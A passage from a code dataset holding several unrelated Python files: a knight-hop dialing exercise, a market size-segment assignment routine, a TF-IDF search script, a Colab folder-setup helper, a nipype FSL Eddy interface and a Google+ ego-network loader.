((4, 4), 2),\n}\n\n\ndef get_recursion_steps(depth=1111, step=250):\n    return list(xrange(step, depth, step)) + [depth]\n\n\ndef count_combinations(starting_index=1, combination_length=3, memo={}):\n    \"\"\"Count knight hop combinations using calculation and recursion.\"\"\"\n\n    if combination_length == 1 or starting_index == 5:\n        return 1\n    mi = indexes[starting_index]\n    starting_index_group_key = starting_index_group_keys[mi]\n    if combination_length == 2:\n        return matrix_for_recursion[starting_index_group_key][1]\n    if starting_index not in xrange(10):\n        raise ValueError('Only simple digits are allowed')\n    if combination_length < 1:\n        raise ValueError('Only positive combination length is allowed')\n\n    combinations = 0\n    for cur_combination_length in get_recursion_steps(combination_length):\n        for i in matrix_for_recursion[starting_index_group_key][0]:\n            cur_len = cur_combination_length - 1\n            if (i, cur_len) not in memo:\n                memo[(i, cur_len)] = count_combinations(i, cur_len)\n    for i in matrix_for_recursion[starting_index_group_key][0]:\n        combinations += memo[(i, cur_combination_length - 1)]\n    return combinations\n\n# ================= Second variant ==================\n# Ariphemitic progression calculation and memoization\n\n# starting_point: matrix_index, starting_sum\nindexes = {1: 0, 3: 0, 7: 0, 9: 0, 2: 1, 8: 1, 4: 2, 6: 2, 0: 3}\nmatrix = (\n    [2, 5, 10, 26],  # 1, 3, 7, 9\n    [2, 4, 10, 20],  # 2, 8\n    [3, 6, 16, 32],  # 4, 6\n    [2, 6, 12, 32],  # 0\n)\nstarting_index_group_keys = ('1379', '28', '46', '0')\nstarting_sum = (\n    (\n        matrix[0][0] + 0,\n        matrix[1][0] + 0,\n        matrix[2][0] + 1,\n        matrix[3][0] + 2,\n    ), (\n        matrix[0][1] + 1,\n        matrix[1][1] + 0,\n        matrix[2][1] + 2,\n        matrix[3][1] + 2,\n    )\n)\n\n\ndef count_combinations2(starting_index=1, combination_length=3, memo={}):\n    \"\"\"Count knight hop combinations using ariphmetic progression.\"\"\"\n\n    if combination_length == 1 or starting_index == 5:\n        return 1\n    if starting_index not in xrange(10):\n        raise ValueError('Only simple digits are allowed')\n    if combination_length < 1:\n        raise ValueError('Only positive combination length is allowed')\n\n    mi = indexes[starting_index]\n    if len(matrix) + 1 >= combination_length:\n        return matrix[mi][combination_length + 2]\n\n    starting_index_group_key = starting_index_group_keys[mi]\n    if (starting_index_group_key, combination_length) in memo:\n        return memo[(starting_index_group_key, combination_length)][0]\n\n    if not memo:\n        for m_group_index, m_group_data in enumerate(matrix):\n            sig_key = starting_index_group_keys[m_group_index]\n            for i in xrange(2, len(m_group_data) + 2):\n                if (sig_key, i) in memo:\n                    continue\n                memo[(sig_key, i)] = (\n                    m_group_data[i - 2],\n                    (starting_sum[i % 2][m_group_index] if i > 2 else 0),\n                )\n\n    for i in xrange(\n            max(len(memo) - 10, len(matrix[0]) + 2), combination_length + 2):\n        for sig_key in starting_index_group_keys:\n            if (sig_key, i) in memo:\n                continue\n            memo[(sig_key, i)] = (\n                5 * memo[(sig_key, i - 2)][0] + memo[(sig_key, i - 2)][1],\n                sum(memo[(sig_key, i - 2)])\n            )\n    \n    return memo[(starting_index_group_key, combination_length)][0]\n\n\n# ==== Run both variants of knight hops combinations ====\nfor combinations_length in (3010, 3011):\n    print(\"\\ncombinations_length: %s\" % combinations_length)\n    for i in (1, 2, 4, 0):\n        print(\"Starting_index: %s\" % i)\n        for run in (\"First\", \"Second\"):\n            start = time.time()\n            r = count_combinations(i, combinations_length)\n            end = time.time()\n            print(\"%9s run, Recursion%s: %s\" % (run, \" \" * 13, end - start))\n            start = time.time()\n            a = count_combinations2(i, combinations_length)\n            end = time.time()\n            print(\"%sAriphmetic progression: %s\" % (\" \" * 15, end - start))\n            assert r == a\n        print(\"\")\n","repo_name":"vponomaryov/python_exercises","sub_path":"knight_hop_phone_dialing.py","file_name":"knight_hop_phone_dialing.py","file_ext":"py","file_size_in_byte":5329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20759134185","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n@author: mabboud\r\n\"\"\"\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom scipy.stats import norm\r\n\r\ndef SizeSegmentAssignment(OutputUpdateSegmNbComp,All_CompanyData,All_SecurityData):\r\n    \r\n    OutputSizeSegmentAssignment={}\r\n    \r\n    for mkt in OutputUpdateSegmNbComp.keys():\r\n        print(mkt)\r\n        \r\n        Market_SecurityData = All_SecurityData.loc[All_SecurityData['Market']==mkt]\r\n        Market_CompanyData = All_CompanyData.loc[All_CompanyData['Market']==mkt]\r\n        \r\n        MIEU = OutputUpdateSegmNbComp[mkt]['MIEU']\r\n        \r\n        MIEU= MIEU.sort_values('company_full_mktcap', ascending=False)\r\n        \r\n        MIEU['SAIR_Rank'] = [i for i in range(1,MIEU.shape[0]+1)] \r\n            \r\n        \r\n        \r\n        SAIR_MSSC = OutputUpdateSegmNbComp[mkt]['FinalData'].loc['FinalMSSC'].iloc[0]\r\n        SAIR_MSnbC = OutputUpdateSegmNbComp[mkt]['FinalData'].loc['FinalMSnbC'].iloc[0]\r\n        \r\n        MIEU['SAIR_MSSC']=SAIR_MSSC\r\n        MIEU['SAIR_MSnbC']=SAIR_MSnbC\r\n        MIEU['Iter']=float(\"NaN\")\r\n        MIEU['Dist_1']=float(\"NaN\")\r\n        MIEU['Dist_2']=float(\"NaN\")\r\n    \r\n     \r\n        # Step1: STD & NEITHER > 100%  x SAIR MSSC\r\n        Iter1_List = (((MIEU['Status']=='STD') | (MIEU['Status']=='STD_SHADOW')) & (MIEU['company_full_mktcap']>=SAIR_MSSC)).tolist()\r\n        MIEU.loc[Iter1_List,'Iter']=1\r\n        Iter1b_List = ((MIEU['Status']=='STD') | (MIEU['Status']=='STD_SHADOW')).tolist()\r\n        MIEU.loc[Iter1b_List ,'Dist_1']= SAIR_MSSC / MIEU.loc[Iter1b_List,'company_full_mktcap']-1\r\n        \r\n        # Step2: NEW > 100% x SAIR MSSC               \r\n        Iter2_List = ( (MIEU['Status']=='NEW')  & (MIEU['company_full_mktcap']>=SAIR_MSSC) ).tolist()\r\n        MIEU.loc[Iter2_List,'Iter']=2\r\n        Iter2b_List = ((MIEU['Status']=='NEW')).tolist()\r\n        MIEU.loc[Iter2b_List ,'Dist_1'] = SAIR_MSSC / MIEU.loc[Iter2b_List,'company_full_mktcap']-1\r\n        MIEU.loc[Iter2b_List ,'Dist_2'] = SAIR_MSSC / MIEU.loc[Iter2b_List,'company_full_mktcap']-1\r\n        \r\n        # Step3: SC  > 150%  x SAIR MSSC\r\n        Iter3_List = ( (MIEU['Status']=='SML')  & (MIEU['company_full_mktcap']>= 1.5 * SAIR_MSSC) ).tolist()\r\n        MIEU.loc[Iter3_List,'Iter']=3\r\n        Iter3b_List = ((MIEU['Status']=='SML') ).tolist()\r\n        MIEU.loc[Iter3b_List ,'Dist_1'] = ((1.5 * SAIR_MSSC) / MIEU.loc[Iter3b_List,'company_full_mktcap']) -1\r\n        \r\n        # Step4: STD & NEITHER > 66.67%  x SAIR MSSC\r\n        Iter4_List = (((MIEU['Status']=='STD') | (MIEU['Status']=='STD_SHADOW')) & (MIEU['company_full_mktcap']>= 2/3 * SAIR_MSSC) & (MIEU['company_full_mktcap'] <  SAIR_MSSC) ).tolist()\r\n        MIEU.loc[Iter4_List,'Iter']=4\r\n        Iter4b_List = ((MIEU['Status']=='STD') | (MIEU['Status']=='STD_SHADOW')).tolist()\r\n        MIEU.loc[Iter4b_List ,'Dist_2'] = ((2/3 * SAIR_MSSC) / MIEU.loc[Iter4b_List,'company_full_mktcap']) -1\r\n            \r\n        # Step5: SC > 100%  x SAIR MSSC\r\n        Iter5_List = ( (MIEU['Status']=='SML')  & (MIEU['company_full_mktcap']>= SAIR_MSSC) & (MIEU['company_full_mktcap'] < 1.5 * SAIR_MSSC) ).tolist()\r\n        MIEU.loc[Iter5_List,'Iter']=5\r\n        Iter5b_List = ((MIEU['Status']=='SML') ).tolist()\r\n        MIEU.loc[Iter5b_List ,'Dist_2'] = (SAIR_MSSC / MIEU.loc[Iter5b_List,'company_full_mktcap']) -1\r\n        \r\n        MIEU= MIEU.sort_values(['Iter', 'company_full_mktcap'], ascending=[True, False])\r\n        \r\n        \r\n        MIEU['Iter_Rank'] = [i for i in range(1,MIEU.shape[0]+1)] \r\n        MIEU.loc[MIEU['Iter'].isna(),'Iter_Rank']=float(\"NAN\")\r\n        \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','SAIR_MSSC']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','SAIR_MSSC']],on='msci_issuer_code',how='left')\r\n\r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','SAIR_MSnbC']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','SAIR_MSnbC']],on='msci_issuer_code',how='left')\r\n\r\n        \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','SAIR_Rank']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','SAIR_Rank']],on='msci_issuer_code',how='left')\r\n\r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','CoverageFFMktCap']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','CoverageFFMktCap']],on='msci_issuer_code',how='left')\r\n        \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','Iter']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','Iter']],on='msci_issuer_code',how='left')\r\n                \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','Iter_Rank']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','Iter_Rank']],on='msci_issuer_code',how='left')\r\n        \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','Dist_1']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','Dist_1']],on='msci_issuer_code',how='left')\r\n        \r\n        Market_SecurityData = pd.merge(Market_SecurityData,MIEU[['msci_issuer_code','Dist_2']],on='msci_issuer_code',how='left')\r\n        Market_CompanyData = pd.merge(Market_CompanyData,MIEU[['msci_issuer_code','Dist_2']],on='msci_issuer_code',how='left')\r\n        \r\n        # Restructure the Output Dictionaries\r\n        OutputSizeSegmentAssignment[mkt]={}\r\n        OutputSizeSegmentAssignment[mkt]['MIEU']= MIEU\r\n        OutputSizeSegmentAssignment[mkt]['Market_CompanyData']=Market_CompanyData\r\n        OutputSizeSegmentAssignment[mkt]['Market_SecurityData']=Market_SecurityData\r\n        \r\n\r\n    return OutputSizeSegmentAssignment\r\n\r\n","repo_name":"marwanabboud82/mabboud82","sub_path":"SizeSegmentAssignment.py","file_name":"SizeSegmentAssignment.py","file_ext":"py","file_size_in_byte":6117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11707507456","text":"#!/usr/bin/python\nimport sys\nimport operator\nfrom sys import stdin\nimport re\nimport math\nimport time\nt1 = time.clock()\nsearchWord = sys.argv[1]\ngivenWord = searchWord.lower()\n \nresult = \"\" \nwordPresent = 0\n\nopFile= open(\"/home/rkandul/PythonWS/invertedIndexUniwordDL.txt\", \"r\")\nfor line in opFile:\n if givenWord in line:\n     word, postings = line.split('\\t')\n     if len(givenWord) == len(word):\n       result = line\n       wordPresent += 1\n       break\n else: \n   continue\nopFile.close()       \nif  wordPresent == 0:\n  print(\"word is not present in the collection or either it is a stop word\") \nelif result:     \n #wordList=result.split(\",\")\n #word, docList = result.split(\"\\t\")\n if ',' in postings:\n   tfTuple = tuple(postings.split(\",\"))\n else:\n   tfTuple = tuple(postings.split()) \ndf = len(tfTuple)\ndocsN=806792\nresultDict= dict()\n\nif df >=1:\n    listVar = 0\n    tupleLength = len(tfTuple)\n    #print(\"**************Total number of results: %s ********************* \"%(str(tupleLength)))\n    while listVar < tupleLength: \n       term = tfTuple[listVar]\n       listVar += 1\n       fileName, nums =  term.split(\" \")\n       fileName = fileName.strip()\n       count, tf = nums.split(\":\")\n       if count == '' or tf == '':\n          continue\n       tfIdf = round((float(tf)/float(count)) *  math.log10(docsN/df ),5)\n       resultDict[fileName] = tfIdf\n\n    sorted_resultDict = sorted(resultDict.items(), key = operator.itemgetter(1))\n    sorted_resultDict.reverse()\n    print(\"\\n************* Displaying top 20 using TF-IDF ranking *********************\\n\")\n    t4 = time.clock()\n    print(round(t4-t1,3))\n\n    j = 0\n    for i in sorted_resultDict:\n      j += 1\n      if j <= 20: \n        print (i)\n      else: break\n       \n","repo_name":"tejaravi89/Information-Retrieval","sub_path":"uniwordSearchTFIDFDLweb.py","file_name":"uniwordSearchTFIDFDLweb.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"27034799360","text":"# -*- coding: utf-8 -*-\n\nimport subprocess, os, sys, ipykernel\nfrom dataclasses import dataclass\n\ndef gitclone(url):\n  res = subprocess.run(['git', 'clone', url], stdout=subprocess.PIPE).stdout.decode('utf-8')\n  print(res)\n\ndef pipi(modulestr):\n  res = subprocess.run(['pip', 'install', modulestr], stdout=subprocess.PIPE).stdout.decode('utf-8')\n  print(res)\n\ndef pipie(modulestr):\n  res = subprocess.run(['git', 'install', '-e', modulestr], stdout=subprocess.PIPE).stdout.decode('utf-8')\n  print(res)\n\ndef wget(url, outputdir):\n  res = subprocess.run(['wget', url, '-P', f'{outputdir}'], stdout=subprocess.PIPE).stdout.decode('utf-8')\n  print(res)\n\ntry:\n    from google.colab import drive\n    print(\"Google Colab detected. Using Google Drive.\")\n    is_colab = True\n    #@markdown If you connect your Google Drive, you can save the final image of each run on your drive.\n    google_drive = True #@param {type:\"boolean\"}\n    #@markdown Click here if you'd like to save the diffusion model checkpoint file to (and/or load from) your Google Drive:\n    save_models_to_google_drive = True #@param {type:\"boolean\"}\nexcept:\n    is_colab = False\n    google_drive = False\n    save_models_to_google_drive = False\n    print(\"Google Colab not detected.\")\n\nif is_colab:\n    if google_drive is True:\n        drive.mount('/content/drive')\n        root_path = '/content/drive/MyDrive/AI/Disco_Diffusion'\n    else:\n        root_path = '/content'\nelse:\n    root_path = os.getcwd()\n\nimport os\ndef createPath(filepath):\n    os.makedirs(filepath, exist_ok=True)\n\ninitDirPath = f'{root_path}/init_images'\ncreatePath(initDirPath)\noutDirPath = f'{root_path}/images_out'\ncreatePath(outDirPath)\n\nif is_colab:\n    if google_drive and not save_models_to_google_drive or not google_drive:\n        model_path = '/content/models'\n        createPath(model_path)\n    if google_drive and save_models_to_google_drive:\n        model_path = f'{root_path}/models'\n        createPath(model_path)\nelse:\n    model_path = f'{root_path}/models'\n    createPath(model_path)\n\n# libraries = f'{root_path}/libraries'\n# createPath(libraries)","repo_name":"JerryW007/poker","sub_path":"draw-ai/prepare_folders.py","file_name":"prepare_folders.py","file_ext":"py","file_size_in_byte":2092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41112650654","text":"\"\"\"The fsl module provides classes for interfacing with the `FSL\n<http://www.fmrib.ox.ac.uk/fsl/index.html>`_ command line tools.  This\nwas written to work with FSL version 5.0.4.\n\n    Change directory to provide relative paths for doctests\n    >>> import os\n    >>> filepath = os.path.dirname(os.path.realpath(__file__))\n    >>> datadir = os.path.realpath(os.path.join(filepath,\n    ...                            '../../testing/data'))\n    >>> os.chdir(datadir)\n\"\"\"\nfrom __future__ import print_function, division, unicode_literals, absolute_import\n\nimport os\nimport warnings\nfrom builtins import str\n\nfrom nipype.interfaces.base import (traits, TraitedSpec, File, isdefined)\nfrom nipype.interfaces.fsl.base import FSLCommand, FSLCommandInputSpec\n\n\nclass EddyInputSpec(FSLCommandInputSpec):\n    in_file = File(exists=True, mandatory=True, argstr='--imain=%s',\n                   desc=('File containing all the images to estimate '\n                         'distortions for'))\n    in_mask = File(exists=True, mandatory=True, argstr='--mask=%s',\n                   desc='Mask to indicate brain')\n    in_index = File(exists=True, mandatory=True, argstr='--index=%s',\n                    desc=('File containing indices for all volumes in --imain '\n                          'into --acqp and --topup'))\n    in_acqp = File(exists=True, mandatory=True, argstr='--acqp=%s',\n                   desc='File containing acquisition parameters')\n    in_bvec = File(exists=True, mandatory=True, argstr='--bvecs=%s',\n                   desc=('File containing the b-vectors for all volumes in '\n                         '--imain'))\n    in_bval = File(exists=True, mandatory=True, argstr='--bvals=%s',\n                   desc=('File containing the b-values for all volumes in '\n                         '--imain'))\n    out_base = traits.Str('eddy_corrected', argstr='--out=%s',\n                          usedefault=True,\n                          desc=('basename for output (warped) image'))\n    session = File(exists=True, argstr='--session=%s',\n                   desc=('File containing session indices for all volumes in '\n                         '--imain'))\n    in_topup_fieldcoef = File(exists=True, argstr=\"--topup=%s\",\n                              requires=['in_topup_movpar'],\n                              desc=('topup file containing the field '\n                                    'coefficients'))\n    in_topup_movpar = File(exists=True, requires=['in_topup_fieldcoef'],\n                           desc='topup movpar.txt file')\n\n    flm = traits.Enum('linear', 'quadratic', 'cubic', argstr='--flm=%s',\n                      desc='First level EC model')\n\n    fwhm = traits.Float(desc=('FWHM for conditioning filter when estimating '\n                              'the parameters'), argstr='--fwhm=%s')\n\n    niter = traits.Int(5, argstr='--niter=%s', desc='Number of iterations')\n\n    method = traits.Enum('jac', 'lsr', argstr='--resamp=%s',\n                         desc=('Final resampling method (jacobian/least '\n                               'squares)'))\n    repol = traits.Bool(False, argstr='--repol',\n                        desc='Detect and replace outlier slices')\n    num_threads = traits.Int(1, usedefault=True, nohash=True,\n                             desc=\"Number of openmp threads to use\")\n    is_shelled = traits.Bool(False, argstr='--data_is_shelled',\n                             desc=\"Override internal check to ensure that \"\n                                  \"date are acquired on a set of b-value \"\n                                  \"shells\")\n    field = traits.Str(argstr='--field=%s',\n                       desc=\"NonTOPUP fieldmap scaled in Hz - filename has \"\n                            \"to be provided without an extension. TOPUP is \"\n                            \"strongly recommended\")\n    field_mat = File(exists=True, argstr='--field_mat=%s',\n                     desc=\"Matrix that specifies the relative locations of \"\n                          \"the field specified by --field and first volume \"\n                          \"in file --imain\")\n    use_cuda = traits.Bool(False, desc=\"Run eddy using cuda gpu\")\n\n\nclass EddyOutputSpec(TraitedSpec):\n    out_corrected = File(exists=True,\n                         desc=('4D image file containing all the corrected '\n                               'volumes'))\n    out_parameter = File(exists=True,\n                         desc=('text file with parameters definining the '\n                               'field and movement for each scan'))\n    out_rotated_bvecs = File(exists=True,\n                             desc=('File containing rotated b-values for all volumes'))\n    out_movement_rms = File(exists=True,\n                            desc=('Summary of the \"total movement\" in each volume'))\n    out_restricted_movement_rms = File(exists=True,\n                                       desc=('Summary of the \"total movement\" in each volume '\n                                             'disregarding translation in the PE direction'))\n    out_shell_alignment_parameters = File(exists=True,\n                                          desc=('File containing rigid body movement parameters '\n                                                'between the different shells as estimated by a '\n                                                'post-hoc mutual information based registration'))\n    out_outlier_report = File(exists=True,\n                              desc=('Text-file with a plain language report '\n                                    'on what outlier slices eddy has found'))\n\n\nclass Eddy(FSLCommand):\n    \"\"\"\n    Interface for FSL eddy, a tool for estimating and correcting eddy\n    currents induced distortions. `User guide\n    <http://fsl.fmrib.ox.ac.uk/fsl/fslwiki/Eddy/UsersGuide>`_ and\n    `more info regarding acqp file\n    <http://fsl.fmrib.ox.ac.uk/fsl/fslwiki/eddy/Faq#How_do_I_know_what_to_put_into_my_--acqp_file>`_.\n\n    Examples\n    --------\n\n    >>> from nipype.interfaces.fsl import Eddy\n    >>> eddy = Eddy()\n    >>> eddy.inputs.in_file = 'epi.nii'\n    >>> eddy.inputs.in_mask  = 'epi_mask.nii'\n    >>> eddy.inputs.in_index = 'epi_index.txt'\n    >>> eddy.inputs.in_acqp  = 'epi_acqp.txt'\n    >>> eddy.inputs.in_bvec  = 'bvecs.scheme'\n    >>> eddy.inputs.in_bval  = 'bvals.scheme'\n    >>> eddy.cmdline # doctest: +ELLIPSIS +ALLOW_UNICODE\n    'eddy_openmp --acqp=epi_acqp.txt --bvals=bvals.scheme --bvecs=bvecs.scheme \\\n--imain=epi.nii --index=epi_index.txt --mask=epi_mask.nii \\\n--out=.../eddy_corrected'\n    >>> res = eddy.run() # doctest: +SKIP\n\n    \"\"\"\n    _cmd = 'eddy'\n    input_spec = EddyInputSpec\n    output_spec = EddyOutputSpec\n\n    _num_threads = 1\n\n    def __init__(self, **inputs):\n        super(Eddy, self).__init__(**inputs)\n        self.inputs.on_trait_change(self._num_threads_update, 'num_threads')\n        if isdefined(self.inputs.use_cuda):\n            self._use_cuda()\n        if not isdefined(self.inputs.num_threads):\n            self.inputs.num_threads = self._num_threads\n        else:\n            self._num_threads_update()\n\n    def _num_threads_update(self):\n        self._num_threads = self.inputs.num_threads\n        if not isdefined(self.inputs.num_threads):\n            if 'OMP_NUM_THREADS' in self.inputs.environ:\n                del self.inputs.environ['OMP_NUM_THREADS']\n        else:\n            self.inputs.environ['OMP_NUM_THREADS'] = str(\n                self.inputs.num_threads)\n\n    def _use_cuda(self):\n        if self.inputs.use_cuda:\n            _cmd = 'eddy_cuda'\n        else:\n            _cmd = 'eddy_openmp'\n\n    def _format_arg(self, name, spec, value):\n        if name == 'in_topup_fieldcoef':\n            return spec.argstr % value.split('_fieldcoef')[0]\n        if name == 'out_base':\n            return spec.argstr % os.path.abspath(value)\n        return super(Eddy, self)._format_arg(name, spec, value)\n\n    def _list_outputs(self):\n        outputs = self.output_spec().get()\n        outputs['out_corrected'] = os.path.abspath(\n            '%s.nii.gz' % self.inputs.out_base)\n        outputs['out_parameter'] = os.path.abspath(\n            '%s.eddy_parameters' % self.inputs.out_base)\n\n        # File generation might depend on the version of EDDY\n        out_rotated_bvecs = os.path.abspath(\n            '%s.eddy_rotated_bvecs' % self.inputs.out_base)\n        out_movement_rms = os.path.abspath(\n            '%s.eddy_movement_rms' % self.inputs.out_base)\n        out_restricted_movement_rms = os.path.abspath(\n            '%s.eddy_restricted_movement_rms' % self.inputs.out_base)\n        out_shell_alignment_parameters = os.path.abspath(\n            '%s.eddy_post_eddy_shell_alignment_parameters' % self.inputs.out_base)\n        out_outlier_report = os.path.abspath(\n            '%s.eddy_outlier_report' % self.inputs.out_base)\n\n        if os.path.exists(out_rotated_bvecs):\n            outputs['out_rotated_bvecs'] = out_rotated_bvecs\n        if os.path.exists(out_movement_rms):\n            outputs['out_movement_rms'] = out_movement_rms\n        if os.path.exists(out_restricted_movement_rms):\n            outputs['out_restricted_movement_rms'] = out_restricted_movement_rms\n        if os.path.exists(out_shell_alignment_parameters):\n            outputs['out_shell_alignment_parameters'] = out_shell_alignment_parameters\n        if os.path.exists(out_outlier_report):\n            outputs['out_outlier_report'] = out_outlier_report\n\n        return outputs\n\n\nclass EddyCorrectInputSpec(FSLCommandInputSpec):\n    in_file = File(exists=True, desc='4D input file', argstr='%s', position=0,\n                   mandatory=True)\n    out_file = File(desc='4D output file', argstr='%s', position=1,\n                    name_source=['in_file'], name_template='%s_edc',\n                    output_name='eddy_corrected')\n    ref_num = traits.Int(0, argstr='%d', position=2, desc='reference number',\n                         mandatory=True, usedefault=True)\n\n\nclass EddyCorrectOutputSpec(TraitedSpec):\n    eddy_corrected = File(exists=True,\n                          desc='path/name of 4D eddy corrected output file')\n\n\nclass EddyCorrect(FSLCommand):\n    \"\"\"\n\n    .. warning:: Deprecated in FSL. Please use\n      :class:`nipype.interfaces.fsl.epi.Eddy` instead\n\n    Example\n    -------\n\n    >>> from nipype.interfaces.fsl import EddyCorrect\n    >>> eddyc = EddyCorrect(in_file='diffusion.nii',\n    ...                     out_file=\"diffusion_edc.nii\", ref_num=0)\n    >>> eddyc.cmdline # doctest: +ALLOW_UNICODE\n    'eddy_correct diffusion.nii diffusion_edc.nii 0'\n    \"\"\"\n    _cmd = 'eddy_correct'\n    input_spec = EddyCorrectInputSpec\n    output_spec = EddyCorrectOutputSpec\n\n    def __init__(self, **inputs):\n        warnings.warn((\"Deprecated: Please use nipype.interfaces.fsl.epi.Eddy \"\n                       \"instead\"), DeprecationWarning)\n        super(EddyCorrect, self).__init__(**inputs)\n\n    def _run_interface(self, runtime):\n        runtime = super(EddyCorrect, self)._run_interface(runtime)\n        if runtime.stderr:\n            self.raise_exception(runtime)\n        return runtime\n","repo_name":"Neurita/pypes","sub_path":"neuro_pypes/interfaces/fsl/epi.py","file_name":"epi.py","file_ext":"py","file_size_in_byte":11034,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"}
{"seq_id":"41237224668","text":"import logging\nimport os\nimport re\nimport time\n\nimport numpy as np\nimport pandas as pd\nfrom rAnProject.SNAPdata.GooglePlus.tables import *\n\nfrom rAnProject.SNAPdata.GooglePlus.build_raw_database import get_ego_nodes\nimport rAnProject.ranfig as rfg\nimport rAnProject.settings as settings\n\nBase = declarative_base()\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')\n\nNONSENSE_SUFFIX = ['inc', 'com', 'corporation']\n\n\nclass SnapRawGPLoader:\n    def get_ego_net(self, uid):\n        t0 = time.time()\n        self.__init_db()\n        node_table = pd.read_sql_query('SELECT * '\n                                       'FROM nodes '\n                                       'WHERE nodes.root = %s' % uid, self.engine)\n        edge_table = pd.read_sql_query('SELECT * '\n                                       'FROM edges '\n                                       'WHERE edges.root = %s' % uid, self.engine)\n        attr_table = pd.read_sql_query('SELECT * '\n                                       'FROM attributes '\n                                       'WHERE attributes.root = %s' % uid, self.engine)\n        logging.debug('Ego Network #%s Loaded in %f s' % (uid, time.time() - t0))\n        return node_table, edge_table, attr_table\n\n    def csv_ego_net(self, uid):\n        t0 = time.time()\n        dirs = rfg.load_ranfig(self.ranfig)['SNAP']['googleplus']\n        node_table = pd.read_csv(os.path.join(dirs, 'csv', uid + '-node.csv'))\n        edge_table = pd.read_csv(os.path.join(dirs, 'csv', uid + '-edge.csv'))\n        attr_table = pd.read_csv(os.path.join(dirs, 'csv', uid + '-feat.csv'))\n        logging.debug('Ego Network #%s Loaded in %f s' % (uid, time.time() - t0))\n        return node_table, edge_table, attr_table\n\n    def __init_db(self):\n        self.engine = init_database_from_ranfig(self.ranfig, 'GooglePlus')\n\n    def __init__(self, ranfig_dir=settings.SETTINGS_DIR):\n        self.ranfig = ranfig_dir\n        self.egos = get_ego_nodes()\n\n\nclass GPRawEgoLoader(SnapRawGPLoader):\n    @staticmethod\n    def clean_string(st):\n        word = \"_\".join(re.findall(\"[a-zA-Z0-9]+\", st)).lower()\n        word = re.sub('_(%s)$' % '|'.join(NONSENSE_SUFFIX), '', word)\n        return word\n\n    def get_feat(self, index):\n        name = self.feat_table[COLUMNS['attributes'][0]][index]\n        cate = self.feat_table[COLUMNS['attributes'][1]][index]\n        return cate + ':' + self.clean_string(str(name))\n\n    def get_new_feat(self, index):\n        name = self.new_feat_table[COLUMNS['attributes'][0]][index]\n        cate = self.new_feat_table[COLUMNS['attributes'][1]][index]\n        return cate + ':' + name\n\n    def gen_node_table(self):\n        tmp_node_table = pd.DataFrame(self.node_table)\n        profiles = tmp_node_table[COLUMNS['nodes'][1]]\n        for index, profile in profiles.iteritems():\n            attr_indexes = [i for i, attr in enumerate(profile.split(' '))\n                            if attr == '1']\n            feats = '|'.join([self.get_feat(i) for i in attr_indexes])\n            if not feats:\n                feats = np.nan\n            tmp_node_table[COLUMNS['nodes'][1]][index] = feats\n        return tmp_node_table\n\n    def gen_feat_table(self, node_table):\n        feats = set()\n        for profile in node_table[COLUMNS['nodes'][1]][self.node_table.profile.notnull()]:\n            feat = profile.split('|')\n            for f in feat:\n                if f.split(':')[1] != '':\n                    feats.add(f)\n        feats = [{COLUMNS['attributes'][0]: f.split(':')[1],\n                  COLUMNS['attributes'][1]: f.split(':')[0]}\n                 for f in feats]\n        new_feats = sorted(list(feats), key=lambda fe: (fe[COLUMNS['attributes'][1]],\n                                                        fe[COLUMNS['attributes'][0]]))\n        aux_feat_dict = {feat[COLUMNS['attributes'][1]] + ':' + feat[COLUMNS['attributes'][0]]: i\n                         for i, feat in enumerate(new_feats)}\n        new_feat_table = pd.DataFrame(new_feats)\n        return new_feat_table, aux_feat_dict\n\n    def write_new_csv(self):\n        new_index_node_table = pd.DataFrame(self.new_node_table)\n        for index, profile in enumerate(new_index_node_table[COLUMNS['nodes'][1]]):\n            if profile is np.nan:\n                continue\n            else:\n                feat = profile.split('|')\n                new_profile = set()\n                for f in feat:\n                    row = f.split(':')\n                    if row[1] != '':\n                        index_feat = self.aux_feat_dict[f]\n                        new_profile.add(index_feat)\n                        # index_feat = self.new_feat_table[\n                        #     (self.new_feat_table[COLUMNS['attributes'][1]] == row[0]) & (\n                        #     self.new_feat_table[COLUMNS['attributes'][0]] == row[1])].index.tolist()\n                        # new_profile.add(index_feat[0])\n                # print profile\n                new_profile_li = sorted(new_profile)\n                # print '|'.join([self.get_new_feat(p) for p in new_profile_li])\n                new_profile_str = ' '.join([str(i) for i in new_profile_li])\n                new_index_node_table[COLUMNS['nodes'][1]][index] = new_profile_str\n        # print self.new_index_node_table\n        rfg_settings = rfg.load_ranfig(self.ranfig)\n        dirs = rfg_settings['SNAP']['googleplus']\n        if not os.path.exists(os.path.join(dirs, 'csv_v2')):\n            os.makedirs(os.path.join(dirs, 